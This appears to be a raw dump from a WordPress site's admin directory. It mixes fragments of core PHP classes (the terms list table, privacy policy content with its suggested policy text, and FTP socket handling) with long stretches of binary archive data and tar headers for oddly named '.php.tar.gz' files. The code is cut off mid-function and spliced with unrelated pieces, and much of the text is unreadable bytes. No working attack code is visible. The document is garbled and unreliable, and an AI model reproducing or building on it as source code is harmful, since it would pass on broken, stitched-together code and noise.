'{$taxonomy}_row_actions'} filter. * @since 5.4.2 Restored (un-deprecated). * * @param string[] $actions An array of action links to be displayed. Default * 'Edit', 'Quick Edit', 'Delete', and 'View'. * @param WP_Term $tag Term object. */ $actions = apply_filters( 'tag_row_actions', $actions, $tag ); /** * Filters the action links displayed for each term in the terms list table. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `category_row_actions` * - `post_tag_row_actions` * * @since 3.0.0 * * @param string[] $actions An array of action links to be displayed. Default * 'Edit', 'Quick Edit', 'Delete', and 'View'. * @param WP_Term $tag Term object. */ $actions = apply_filters( "{$taxonomy}_row_actions", $actions, $tag ); return $this->row_actions( $actions ); } /** * @param WP_Term $tag Term object. * @return string */ public function column_description( $tag ) { if ( $tag->description ) { return $tag->description; } else { return '' . __( 'No description' ) . ''; } } /** * @param WP_Term $tag Term object. * @return string */ public function column_slug( $tag ) { /** This filter is documented in wp-admin/edit-tag-form.php */ return apply_filters( 'editable_slug', $tag->slug, $tag ); } /** * @param WP_Term $tag Term object. * @return string */ public function column_posts( $tag ) { $count = number_format_i18n( $tag->count ); $tax = get_taxonomy( $this->screen->taxonomy ); $ptype_object = get_post_type_object( $this->screen->post_type ); if ( ! $ptype_object->show_ui ) { return $count; } if ( $tax->query_var ) { $args = array( $tax->query_var => $tag->slug ); } else { $args = array( 'taxonomy' => $tax->name, 'term' => $tag->slug, ); } if ( 'post' !== $this->screen->post_type ) { $args['post_type'] = $this->screen->post_type; } if ( 'attachment' === $this->screen->post_type ) { return "$count"; } return "$count"; } /** * @param WP_Term $tag Term object. * @return string */ public function column_links( $tag ) { $count = number_format_i18n( $tag->count ); if ( $count ) { $count = "$count"; } return $count; } /** * @since 5.9.0 Renamed `$tag` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Term $item Term object. * @param string $column_name Name of the column. * @return string */ public function column_default( $item, $column_name ) { /** * Filters the displayed columns in the terms list table. * * The dynamic portion of the hook name, `$this->screen->taxonomy`, * refers to the slug of the current taxonomy. * * Possible hook names include: * * - `manage_category_custom_column` * - `manage_post_tag_custom_column` * * @since 2.8.0 * * @param string $string Custom column output. Default empty. * @param string $column_name Name of the column. * @param int $term_id Term ID. */ return apply_filters( "manage_{$this->screen->taxonomy}_custom_column", '', $column_name, $item->term_id ); } /** * Outputs the hidden row displayed when inline editing * * @since 3.1.0 */ public function inline_edit() { $tax = get_taxonomy( $this->screen->taxonomy ); if ( ! current_user_can( $tax->cap->edit_terms ) ) { return; } ?>
M7/~zJٳC||tE\<7;~^oR[UUT2qI%DF+{AcMȐ Sؗ.ƔCk1%O bRQGb\|&C#VG L1&|pJ> 1$؉?43nZe/j[r#ڀnȠk[16;Q8ץS9r.AR#ߢIG/ @ Yv1`WE ܐ^9.S)r-%BL EwW~$S0GKޣ}Xlk-Q w iFrmݲ~Z%fbel`7M(y`$ h"*Bo1='\_=Մ}g*$a?|✊ [d$-ir5,B:`Z&V]J|#cG[IA`Awa`ҘP _Sq(+% B>( F \B6M+)| ݦԗNRgM`w.2 Rɩ ֔eavi+uAWZ|%X) G~ʲpL4E0 Aݣ= S^rH1={HhٜTL%1đ X*WyM$`;6TĀcCK%D-Œb2c~Ǒje8`P=7Э5o+D3Rg/4y57sh -+)7ʘb+v$$%Am-5[2Ư3y_g6ƪZ( U%(N%ISHޢ;PHmAq+a.5),"."~B0J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؛z-؝K/XـO4(,eBTRJڪI-O3k3XOtS5|9H:FЮQnu$I{]5% E-h 5D$4\B}w 6εn'\VOg-w0j RTԡg4SrzUzvxJf<k[kȿn\Uv7-/ܠ= /9}D-Db\4Du_Tk"kc4m=VZBnīuʣc>ZX6^]vhFd"㖉+nT F5hLgK%`@!j̳VB*HeZ/-N=i bh .=e_s׌`TU6?i8tAXw8q-. ֘c^Dc ߁{̓Ă1 m=<9@tW_J25 ;z=YM¾CD;Ia6$NlG=ON}"E⼣f"ԝb[ SvwRbMU/ڲQ__pcĕ"z~ qv[%_[t]@[Z 0 1bZ _! iV6!}bQ_D@CI= 4kooW䳹֐OROj>?ڿ+TyeCer7Ϊt6s\f */]L1o^%Zfc.=w)PuLI^+D_o x.t¡OKJGv'q0y*KPWUA }@pFnh#o1%BX@s{!h!"1/Aw]td*Nyb뻁@›t|Axo/? 0dJc4 ? 10&kHўQLXD!8GlSm6Y4N[2ockXx9K99Y}^M'sc{ICVLѭ+Z~ޯe tB//xf5MqW釓B5'Ѯ uR]|__Je@fGpM#+(g(ܨiQ˵9P.35x̬:oCOsW@1]an4@K ]mC F\?0S7IP:gh ~p!c ߹`rKsҹ)g=t;8Q5˛L{n=xk*-{\0h/Lcj'{@f(o/':)9 ]ۂW+0]>3vB0[B9O* L`hcd[aйԤC.Ҧɯs{̷JƸAԪ2T8ՒCo٨>wm| ?HjG:j+_ֵ l-pvNL[>,ip22dzwu}vH?c碣vW1 k%/:͟'ɽvpP|b>gGOȁy8RGΠ i@Bif]3D2&c?ߧ(84}Ip>"98\ J|%Dj~`Ifp>!_}v[LW7e;G(¶c*}q8(] | k+a}'״! bxy}7 b-Yьh)PY疩c)vqSIQ\Ň*h2==juڻbW`|bm~5 $plugin_name, 'policy_text' => $policy_text, ); if ( ! in_array( $data, self::$policy_content, true ) ) { self::$policy_content[] = $data; } } /** * Quick check if any privacy info has changed. * * @since 4.9.6 */ public static function text_change_check() { $policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' ); // The site doesn't have a privacy policy. if ( empty( $policy_page_id ) ) { return false; } if ( ! current_user_can( 'edit_post', $policy_page_id ) ) { return false; } $old = (array) get_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' ); // Updates are not relevant if the user has not reviewed any suggestions yet. if ( empty( $old ) ) { return false; } $cached = get_option( '_wp_suggested_policy_text_has_changed' ); /* * When this function is called before `admin_init`, `self::$policy_content` * has not been populated yet, so use the cached result from the last * execution instead. */ if ( ! did_action( 'admin_init' ) ) { return 'changed' === $cached; } $new = self::$policy_content; // Remove the extra values added to the meta. foreach ( $old as $key => $data ) { if ( ! is_array( $data ) || ! empty( $data['removed'] ) ) { unset( $old[ $key ] ); continue; } $old[ $key ] = array( 'plugin_name' => $data['plugin_name'], 'policy_text' => $data['policy_text'], ); } // Normalize the order of texts, to facilitate comparison. sort( $old ); sort( $new ); // The == operator (equal, not identical) was used intentionally. // See http://php.net/manual/en/language.operators.array.php if ( $new != $old ) { // A plugin was activated or deactivated, or some policy text has changed. // Show a notice on the relevant screens to inform the admin. add_action( 'admin_notices', array( 'WP_Privacy_Policy_Content', 'policy_text_changed_notice' ) ); $state = 'changed'; } else { $state = 'not-changed'; } // Cache the result for use before `admin_init` (see above). if ( $cached !== $state ) { update_option( '_wp_suggested_policy_text_has_changed', $state ); } return 'changed' === $state; } /** * Output a warning when some privacy info has changed. * * @since 4.9.6 * * @global WP_Post $post Global post object. */ public static function policy_text_changed_notice() { global $post; $screen = get_current_screen()->id; if ( 'privacy' !== $screen ) { return; } ?>

review the guide and update your privacy policy.' ), esc_url( admin_url( 'privacy-policy-guide.php?tab=policyguide' ) ) ); ?>

$old_data ) { if ( ! empty( $old_data['removed'] ) ) { // Remove the old policy text. $update_cache = true; continue; } if ( ! empty( $old_data['updated'] ) ) { // 'updated' is now 'added'. $done[] = array( 'plugin_name' => $old_data['plugin_name'], 'policy_text' => $old_data['policy_text'], 'added' => $old_data['updated'], ); $update_cache = true; } else { $done[] = $old_data; } } if ( $update_cache ) { delete_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' ); // Update the cache. foreach ( $done as $data ) { add_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content', $data ); } } } /** * Check for updated, added or removed privacy policy information from plugins. * * Caches the current info in post_meta of the policy page. * * @since 4.9.6 * * @return array The privacy policy text/information added by core and plugins. */ public static function get_suggested_policy_text() { $policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' ); $checked = array(); $time = time(); $update_cache = false; $new = self::$policy_content; $old = array(); if ( $policy_page_id ) { $old = (array) get_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' ); } // Check for no-changes and updates. foreach ( $new as $new_key => $new_data ) { foreach ( $old as $old_key => $old_data ) { $found = false; if ( $new_data['policy_text'] === $old_data['policy_text'] ) { // Use the new plugin name in case it was changed, translated, etc. if ( $old_data['plugin_name'] !== $new_data['plugin_name'] ) { $old_data['plugin_name'] = $new_data['plugin_name']; $update_cache = true; } // A plugin was re-activated. if ( ! empty( $old_data['removed'] ) ) { unset( $old_data['removed'] ); $old_data['added'] = $time; $update_cache = true; } $checked[] = $old_data; $found = true; } elseif ( $new_data['plugin_name'] === $old_data['plugin_name'] ) { // The info for the policy was updated. $checked[] = array( 'plugin_name' => $new_data['plugin_name'], 'policy_text' => $new_data['policy_text'], 'updated' => $time, ); $found = true; $update_cache = true; } if ( $found ) { unset( $new[ $new_key ], $old[ $old_key ] ); continue 2; } } } if ( ! empty( $new ) ) { // A plugin was activated. foreach ( $new as $new_data ) { if ( ! empty( $new_data['plugin_name'] ) && ! empty( $new_data['policy_text'] ) ) { $new_data['added'] = $time; $checked[] = $new_data; } } $update_cache = true; } if ( ! empty( $old ) ) { // A plugin was deactivated. foreach ( $old as $old_data ) { if ( ! empty( $old_data['plugin_name'] ) && ! empty( $old_data['policy_text'] ) ) { $data = array( 'plugin_name' => $old_data['plugin_name'], 'policy_text' => $old_data['policy_text'], 'removed' => $time, ); $checked[] = $data; } } $update_cache = true; } if ( $update_cache && $policy_page_id ) { delete_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' ); // Update the cache. foreach ( $checked as $data ) { add_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content', $data ); } } return $checked; } /** * Add a notice with a link to the guide when editing the privacy policy page. * * @since 4.9.6 * @since 5.0.0 The `$post` parameter was made optional. * * @global WP_Post $post Global post object. * * @param WP_Post|null $post The currently edited post. Default null. */ public static function notice( $post = null ) { if ( is_null( $post ) ) { global $post; } else { $post = get_post( $post ); } if ( ! ( $post instanceof WP_Post ) ) { return; } if ( ! current_user_can( 'manage_privacy_options' ) ) { return; } $current_screen = get_current_screen(); $policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' ); if ( 'post' !== $current_screen->base || $policy_page_id !== $post->ID ) { return; } $message = __( 'Need help putting together your new Privacy Policy page? Check out our guide for recommendations on what content to include, along with policies suggested by your plugins and theme.' ); $url = esc_url( admin_url( 'options-privacy.php?tab=policyguide' ) ); $label = __( 'View Privacy Policy Guide.' ); if ( get_current_screen()->is_block_editor() ) { wp_enqueue_script( 'wp-notices' ); $action = array( 'url' => $url, 'label' => $label, ); wp_add_inline_script( 'wp-notices', sprintf( 'wp.data.dispatch( "core/notices" ).createWarningNotice( "%s", { actions: [ %s ], isDismissible: false } )', $message, wp_json_encode( $action ) ), 'after' ); } else { ?>

%s %s', $url, $label, /* translators: Accessibility text. */ __( '(opens in a new tab)' ) ); ?>

' . sprintf( $removed, $date ) . '

'; } elseif ( ! empty( $section['updated'] ) ) { $badge_class = ' blue'; $date = date_i18n( $date_format, $section['updated'] ); /* translators: %s: Date of privacy policy text update. */ $badge_title = sprintf( __( 'Updated %s.' ), $date ); } $plugin_name = esc_html( $section['plugin_name'] ); $sanitized_policy_name = sanitize_title_with_dashes( $plugin_name ); ?>

' . __( 'Suggested text:' ) . ' '; $content = ''; $strings = array(); // Start of the suggested privacy policy text. if ( $description ) { $strings[] = '
'; } /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'Who we are' ) . '

'; if ( $description ) { /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'In this section you should note your site URL, as well as the name of the company, organization, or individual behind it, and some accurate contact information.' ) . '

'; /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'The amount of information you may be required to show will vary depending on your local or national business regulations. You may, for example, be required to display a physical address, a registered address, or your company registration number.' ) . '

'; } else { /* translators: Default privacy policy text. %s: Site URL. */ $strings[] = '

' . $suggested_text . sprintf( __( 'Our website address is: %s.' ), get_bloginfo( 'url', 'display' ) ) . '

'; } if ( $description ) { /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'What personal data we collect and why we collect it' ) . '

'; /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'In this section you should note what personal data you collect from users and site visitors. This may include personal data, such as name, email address, personal account preferences; transactional data, such as purchase information; and technical data, such as information about cookies.' ) . '

'; /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'You should also note any collection and retention of sensitive personal data, such as data concerning health.' ) . '

'; /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'In addition to listing what personal data you collect, you need to note why you collect it. These explanations must note either the legal basis for your data collection and retention or the active consent the user has given.' ) . '

'; /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'Personal data is not just created by a user’s interactions with your site. Personal data is also generated from technical processes such as contact forms, comments, cookies, analytics, and third party embeds.' ) . '

'; /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'By default WordPress does not collect any personal data about visitors, and only collects the data shown on the User Profile screen from registered users. However some of your plugins may collect personal data. You should add the relevant information below.' ) . '

'; } /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'Comments' ) . '

'; if ( $description ) { /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'In this subsection you should note what information is captured through comments. We have noted the data which WordPress collects by default.' ) . '

'; } else { /* translators: Default privacy policy text. */ $strings[] = '

' . $suggested_text . __( 'When visitors leave comments on the site we collect the data shown in the comments form, and also the visitor’s IP address and browser user agent string to help spam detection.' ) . '

'; /* translators: Default privacy policy text. */ $strings[] = '

' . __( 'An anonymized string created from your email address (also called a hash) may be provided to the Gravatar service to see if you are using it. The Gravatar service privacy policy is available here: https://automattic.com/privacy/. After approval of your comment, your profile picture is visible to the public in the context of your comment.' ) . '

'; } /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'Media' ) . '

'; if ( $description ) { /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'In this subsection you should note what information may be disclosed by users who can upload media files. All uploaded files are usually publicly accessible.' ) . '

'; } else { /* translators: Default privacy policy text. */ $strings[] = '

' . $suggested_text . __( 'If you upload images to the website, you should avoid uploading images with embedded location data (EXIF GPS) included. Visitors to the website can download and extract any location data from images on the website.' ) . '

'; } if ( $description ) { /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'Contact forms' ) . '

'; /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'By default, WordPress does not include a contact form. If you use a contact form plugin, use this subsection to note what personal data is captured when someone submits a contact form, and how long you keep it. For example, you may note that you keep contact form submissions for a certain period for customer service purposes, but you do not use the information submitted through them for marketing purposes.' ) . '

'; } /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'Cookies' ) . '

'; if ( $description ) { /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'In this subsection you should list the cookies your web site uses, including those set by your plugins, social media, and analytics. We have provided the cookies which WordPress installs by default.' ) . '

'; } else { /* translators: Default privacy policy text. */ $strings[] = '

' . $suggested_text . __( 'If you leave a comment on our site you may opt-in to saving your name, email address and website in cookies. These are for your convenience so that you do not have to fill in your details again when you leave another comment. These cookies will last for one year.' ) . '

'; /* translators: Default privacy policy text. */ $strings[] = '

' . __( 'If you visit our login page, we will set a temporary cookie to determine if your browser accepts cookies. This cookie contains no personal data and is discarded when you close your browser.' ) . '

'; /* translators: Default privacy policy text. */ $strings[] = '

' . __( 'When you log in, we will also set up several cookies to save your login information and your screen display choices. Login cookies last for two days, and screen options cookies last for a year. If you select "Remember Me", your login will persist for two weeks. If you log out of your account, the login cookies will be removed.' ) . '

'; /* translators: Default privacy policy text. */ $strings[] = '

' . __( 'If you edit or publish an article, an additional cookie will be saved in your browser. This cookie includes no personal data and simply indicates the post ID of the article you just edited. It expires after 1 day.' ) . '

'; } if ( ! $description ) { /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'Embedded content from other websites' ) . '

'; /* translators: Default privacy policy text. */ $strings[] = '

' . $suggested_text . __( 'Articles on this site may include embedded content (e.g. videos, images, articles, etc.). Embedded content from other websites behaves in the exact same way as if the visitor has visited the other website.' ) . '

'; /* translators: Default privacy policy text. */ $strings[] = '

' . __( 'These websites may collect data about you, use cookies, embed additional third-party tracking, and monitor your interaction with that embedded content, including tracking your interaction with the embedded content if you have an account and are logged in to that website.' ) . '

'; } if ( $description ) { /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'Analytics' ) . '

'; /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'In this subsection you should note what analytics package you use, how users can opt out of analytics tracking, and a link to your analytics provider’s privacy policy, if any.' ) . '

'; /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'By default WordPress does not collect any analytics data. However, many web hosting accounts collect some anonymous analytics data. You may also have installed a WordPress plugin that provides analytics services. In that case, add information from that plugin here.' ) . '

'; } /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'Who we share your data with' ) . '

'; if ( $description ) { /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'In this section you should name and list all third party providers with whom you share site data, including partners, cloud-based services, payment processors, and third party service providers, and note what data you share with them and why. Link to their own privacy policies if possible.' ) . '

'; /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'By default WordPress does not share any personal data with anyone.' ) . '

'; } else { /* translators: Default privacy policy text. */ $strings[] = '

' . $suggested_text . __( 'If you request a password reset, your IP address will be included in the reset email.' ) . '

'; } /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'How long we retain your data' ) . '

'; if ( $description ) { /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'In this section you should explain how long you retain personal data collected or processed by the web site. While it is your responsibility to come up with the schedule of how long you keep each dataset for and why you keep it, that information does need to be listed here. For example, you may want to say that you keep contact form entries for six months, analytics records for a year, and customer purchase records for ten years.' ) . '

'; } else { /* translators: Default privacy policy text. */ $strings[] = '

' . $suggested_text . __( 'If you leave a comment, the comment and its metadata are retained indefinitely. This is so we can recognize and approve any follow-up comments automatically instead of holding them in a moderation queue.' ) . '

'; /* translators: Default privacy policy text. */ $strings[] = '

' . __( 'For users that register on our website (if any), we also store the personal information they provide in their user profile. All users can see, edit, or delete their personal information at any time (except they cannot change their username). Website administrators can also see and edit that information.' ) . '

'; } /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'What rights you have over your data' ) . '

'; if ( $description ) { /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'In this section you should explain what rights your users have over their data and how they can invoke those rights.' ) . '

'; } else { /* translators: Default privacy policy text. */ $strings[] = '

' . $suggested_text . __( 'If you have an account on this site, or have left comments, you can request to receive an exported file of the personal data we hold about you, including any data you have provided to us. You can also request that we erase any personal data we hold about you. This does not include any data we are obliged to keep for administrative, legal, or security purposes.' ) . '

'; } /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'Where your data is sent' ) . '

'; if ( $description ) { /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'In this section you should list all transfers of your site data outside the European Union and describe the means by which that data is safeguarded to European data protection standards. This could include your web hosting, cloud storage, or other third party services.' ) . '

'; /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'European data protection law requires data about European residents which is transferred outside the European Union to be safeguarded to the same standards as if the data was in Europe. So in addition to listing where data goes, you should describe how you ensure that these standards are met either by yourself or by your third party providers, whether that is through an agreement such as Privacy Shield, model clauses in your contracts, or binding corporate rules.' ) . '

'; } else { /* translators: Default privacy policy text. */ $strings[] = '

' . $suggested_text . __( 'Visitor comments may be checked through an automated spam detection service.' ) . '

'; } if ( $description ) { /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'Contact information' ) . '

'; /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'In this section you should provide a contact method for privacy-specific concerns. If you are required to have a Data Protection Officer, list their name and full contact details here as well.' ) . '

'; } if ( $description ) { /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'Additional information' ) . '

'; /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'If you use your site for commercial purposes and you engage in more complex collection or processing of personal data, you should note the following information in your privacy policy in addition to the information we have already discussed.' ) . '

'; } if ( $description ) { /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'How we protect your data' ) . '

'; /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'In this section you should explain what measures you have taken to protect your users’ data. This could include technical measures such as encryption; security measures such as two factor authentication; and measures such as staff training in data protection. If you have carried out a Privacy Impact Assessment, you can mention it here too.' ) . '

'; } if ( $description ) { /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'What data breach procedures we have in place' ) . '

'; /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'In this section you should explain what procedures you have in place to deal with data breaches, either potential or real, such as internal reporting systems, contact mechanisms, or bug bounties.' ) . '

'; } if ( $description ) { /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'What third parties we receive data from' ) . '

'; /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'If your web site receives data about users from third parties, including advertisers, this information must be included within the section of your privacy policy dealing with third party data.' ) . '

'; } if ( $description ) { /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'What automated decision making and/or profiling we do with user data' ) . '

'; /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'If your web site provides a service which includes automated decision making - for example, allowing customers to apply for credit, or aggregating their data into an advertising profile - you must note that this is taking place, and include information about how that information is used, what decisions are made with that aggregated data, and what rights users have over decisions made without human intervention.' ) . '

'; } if ( $description ) { /* translators: Default privacy policy heading. */ $strings[] = '

' . __( 'Industry regulatory disclosure requirements' ) . '

'; /* translators: Privacy policy tutorial. */ $strings[] = '

' . __( 'If you are a member of a regulated industry, or if you are subject to additional privacy laws, you may be required to disclose that information here.' ) . '

'; $strings[] = '
'; } if ( $blocks ) { foreach ( $strings as $key => $string ) { if ( 0 === strpos( $string, '

' ) ) { $strings[ $key ] = '' . $string . ''; } if ( 0 === strpos( $string, '

' ) ) { $strings[ $key ] = '' . $string . ''; } } } $content = implode( '', $strings ); // End of the suggested privacy policy text. /** * Filters the default content suggested for inclusion in a privacy policy. * * @since 4.9.6 * @since 5.0.0 Added the `$strings`, `$description`, and `$blocks` parameters. * @deprecated 5.7.0 Use wp_add_privacy_policy_content() instead. * * @param string $content The default policy content. * @param string[] $strings An array of privacy policy content strings. * @param bool $description Whether policy descriptions should be included. * @param bool $blocks Whether the content should be formatted for the block editor. */ return apply_filters_deprecated( 'wp_get_default_privacy_policy_content', array( $content, $strings, $description, $blocks ), '5.7.0', 'wp_add_privacy_policy_content()' ); } /** * Add the suggested privacy policy text to the policy postbox. * * @since 4.9.6 */ public static function add_suggested_content() { $content = self::get_default_content( false, false ); wp_add_privacy_policy_content( __( 'WordPress' ), $content ); } } class-wp-upgrader-skins.php.php.tar.gz000064400000000707152377531730013755 0ustar00]K08f:\nt`]ͶäA{7:/*=Iާ99=]9T Wg Y9.M"*eK8qUMeVHZTQ GCpO0z Ӛ@O/q  530h nPi$pq\ܭ .+,|cJ'66` A=u}J, Ms&3BL%k#BnƓkBfOTh}RFdDz ?HktuowYQ"YaTf^]ljm̺R|i DlՔ쎼:.%qnd]C½6\a [i+Ӯ/͙i?6K\6lfb=VoDk7{ admin.php.php.tar.gz000064400000001607152377531730010360 0ustar00]o0]~c"6z&r֪V;I:X mysWXdx/tRɳgSq7sإv/im~wK{>Rȭc$8hN;Z10UѐK͒!|V&dpskJ$ڏv| R m}GÓ<Ϸ`+ hٜ[r@ ~zQa~ЍJ@ңH*޳*XSjaA*yc3xu:󠆊=[yET̢&siM*Pk%%fJRrEo|ViY2iR/p)g4Y^`l6nA >ڐ,YZcsݔ\HԋD>æ.0 vMߪ v -￱mإʔ\v@ 2(`*P{"IQ+IJ&;1 h̵Fmź(ٞP9io,)ςv5S6N)TO1-6ZqLW9WKߔlgGp8Eת*C,.I p2rxh!+^J[})xCTLBa-6ȳkM)btzYb .K6H7e[W Pͽ˶(QիIÆus+mF_~܏)class-automatic-upgrader-skin.php.php.tar.gz000064400000002751152377531730015133 0ustar00W]o6ݫ+nJ [JӴ9k y h[$$7[wHpQ B Cs!=9>T韼`ȣdi<<%yZDigUUgLșNAU$Kyͺ`> 4T)|]yA QF*-4/eYoL(f$X|59Y!:.M,F(,͢$U1qxh\ʛވkeM3NS)r4p_4eFq9TeW0Z@.NWvFIECbRgn ׁ\sqrXb>^*8WkQ/VWX\Ykhym{TjUϡ5FVc*d 4sV )w uK}eZPW?T\Q(FcBH[4"z"%ZdžuRT, Ug3ESL] јmXbB *dkq%񺾺۲yUaJ$p$ cv 52&arMd j6x2\ab$y>:riAV~*#Qqۮ='QbC}'hv aKӪMϷ7 )[ҬhLz'N:= r [u;({g_0<9WGL^Te!tsw =#vfޱ8D[Me&17]!EhZ02Ö&FѺ&tʥ:b22Omd/CAjH GqYUmrL,RVm&Otq_76kg\j:f]\>dbNf}$[gsp渗0,ӏ{SEKƖBN_wĚBUe)WU哽[ Mbq?y p?0 {LTCdO2c16jSϝ}1T]K~k6cU%fC`Msѓc;A;NS]nmՖbf,qo}0\&ׇUozڲX 'F4GU'nj.0_P?7xП3Q]HIu0MX(9 A\) k}ms XzwxLN0|]juvG0WiۅWQ̖ q8x|42\Kϒ3m 1Y3snb3=;7@^.g\/GG}rߗ7xzuCGf[Jג+y-p۽?i_~}qclass-ftp-sockets.php.tar000064400000024000152377531730011420 0ustar00home/quizenacom/public_html/wp-admin/includes/class-ftp-sockets.php000064400000020437152377531430021571 0ustar00 // // function _settimeout($sock) { if(!@socket_set_option($sock, SOL_SOCKET, SO_RCVTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) { $this->PushError('_connect','socket set receive timeout',socket_strerror(socket_last_error($sock))); @socket_close($sock); return FALSE; } if(!@socket_set_option($sock, SOL_SOCKET , SO_SNDTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) { $this->PushError('_connect','socket set send timeout',socket_strerror(socket_last_error($sock))); @socket_close($sock); return FALSE; } return true; } function _connect($host, $port) { $this->SendMSG("Creating socket"); if(!($sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) { $this->PushError('_connect','socket create failed',socket_strerror(socket_last_error($sock))); return FALSE; } if(!$this->_settimeout($sock)) return FALSE; $this->SendMSG("Connecting to \"".$host.":".$port."\""); if (!($res = @socket_connect($sock, $host, $port))) { $this->PushError('_connect','socket connect failed',socket_strerror(socket_last_error($sock))); @socket_close($sock); return FALSE; } $this->_connected=true; return $sock; } function _readmsg($fnction="_readmsg"){ if(!$this->_connected) { $this->PushError($fnction,'Connect first'); return FALSE; } $result=true; $this->_message=""; $this->_code=0; $go=true; do { $tmp=@socket_read($this->_ftp_control_sock, 4096, PHP_BINARY_READ); if($tmp===false) { $go=$result=false; $this->PushError($fnction,'Read failed', socket_strerror(socket_last_error($this->_ftp_control_sock))); } else { $this->_message.=$tmp; $go = !preg_match("/^([0-9]{3})(-.+\\1)? [^".CRLF."]+".CRLF."$/Us", $this->_message, $regs); } } while($go); if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF; $this->_code=(int)$regs[1]; return $result; } function _exec($cmd, $fnction="_exec") { if(!$this->_ready) { $this->PushError($fnction,'Connect first'); return FALSE; } if($this->LocalEcho) echo "PUT > ",$cmd,CRLF; $status=@socket_write($this->_ftp_control_sock, $cmd.CRLF); if($status===false) { $this->PushError($fnction,'socket write failed', socket_strerror(socket_last_error($this->stream))); return FALSE; } $this->_lastaction=time(); if(!$this->_readmsg($fnction)) return FALSE; return TRUE; } function _data_prepare($mode=FTP_ASCII) { if(!$this->_settype($mode)) return FALSE; $this->SendMSG("Creating data socket"); $this->_ftp_data_sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($this->_ftp_data_sock < 0) { $this->PushError('_data_prepare','socket create failed',socket_strerror(socket_last_error($this->_ftp_data_sock))); return FALSE; } if(!$this->_settimeout($this->_ftp_data_sock)) { $this->_data_close(); return FALSE; } if($this->_passive) { if(!$this->_exec("PASV", "pasv")) { $this->_data_close(); return FALSE; } if(!$this->_checkCode()) { $this->_data_close(); return FALSE; } $ip_port = explode(",", preg_replace("/^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*$/s", "\\1", $this->_message)); $this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3]; $this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]); $this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport); if(!@socket_connect($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) { $this->PushError("_data_prepare","socket_connect", socket_strerror(socket_last_error($this->_ftp_data_sock))); $this->_data_close(); return FALSE; } else $this->_ftp_temp_sock=$this->_ftp_data_sock; } else { if(!@socket_getsockname($this->_ftp_control_sock, $addr, $port)) { $this->PushError("_data_prepare","cannot get control socket information", socket_strerror(socket_last_error($this->_ftp_control_sock))); $this->_data_close(); return FALSE; } if(!@socket_bind($this->_ftp_data_sock,$addr)){ $this->PushError("_data_prepare","cannot bind data socket", socket_strerror(socket_last_error($this->_ftp_data_sock))); $this->_data_close(); return FALSE; } if(!@socket_listen($this->_ftp_data_sock)) { $this->PushError("_data_prepare","cannot listen data socket", socket_strerror(socket_last_error($this->_ftp_data_sock))); $this->_data_close(); return FALSE; } if(!@socket_getsockname($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) { $this->PushError("_data_prepare","cannot get data socket information", socket_strerror(socket_last_error($this->_ftp_data_sock))); $this->_data_close(); return FALSE; } if(!$this->_exec('PORT 